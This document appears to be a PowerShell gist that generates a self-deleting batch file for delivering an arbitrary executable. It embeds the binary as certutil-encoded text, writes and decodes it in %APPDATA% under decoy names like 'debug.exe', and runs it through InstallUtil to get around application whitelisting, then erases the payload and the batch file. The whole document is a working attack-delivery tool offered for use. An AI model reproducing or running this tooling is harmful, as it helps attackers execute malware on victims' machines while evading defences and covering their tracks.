Generate InstallUtil payload within batch file for delivery

New-InstallUtilBatchFile.ps1

function New-InstallUtilBatchFile
{
    <##>
    #You must provide an encoded payload using certutil -encode for the InFilePath.
    #certutil -encode payload.exe payload.txt
    #For compiling w/ a managed powershell runner
    # C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:payload.exe payload.cs
    [CmdletBinding()]
    param
    (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [ValidateScript({Test-Path $_})]
        [string]$InFilePath,

        [Parameter()]
        [ValidateNotNullOrEmpty()]
        $InlineOutFilePath = "%APPDATA%\debug.txt",

        [Parameter()]
        [ValidateNotNullOrEmpty()]
        [string]$InlineOutExePath = "%APPDATA%\debug.exe",

        [Parameter()]
        [ValidateNotNullOrEmpty()]
        [string]$BatchFilePath = "$($pwd.Path)\easybutton.bat"
    )

    $TemplateBatch = @"
@ECHO OFF
SET outEncFile="$InlineOutFilePath"
SET outEXE="$InlineOutExePath"
SET installUtil=C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
INLINEENCODING
setlocal enabledelayedexpansion
(
    ECHOCMDLINES
) > %outEncFile%
endlocal
certutil -decode "%outEncFile%" "%outEXE%"
%InstallUtil% /logfile= /LogToConsole=false /U "%outEXE%"
del "%outEncFile%"
timeout /t 5 /nobreak > NUL
del "%outEXE%"
start /b "" cmd /c del "%~f0"&exit /b
"@

    $certUtilEncodedBinary = Get-Content -Encoding Ascii $InFilePath 
    $count = 1
    $batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1}
    $count = 1
    $echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1}

    $TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n")
    $TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t")
    $TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n',''

    $TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force

    Get-ChildItem -Path $BatchFilePath
}

Use the lowest version of the System.Automation.dll possible as the reference assembly.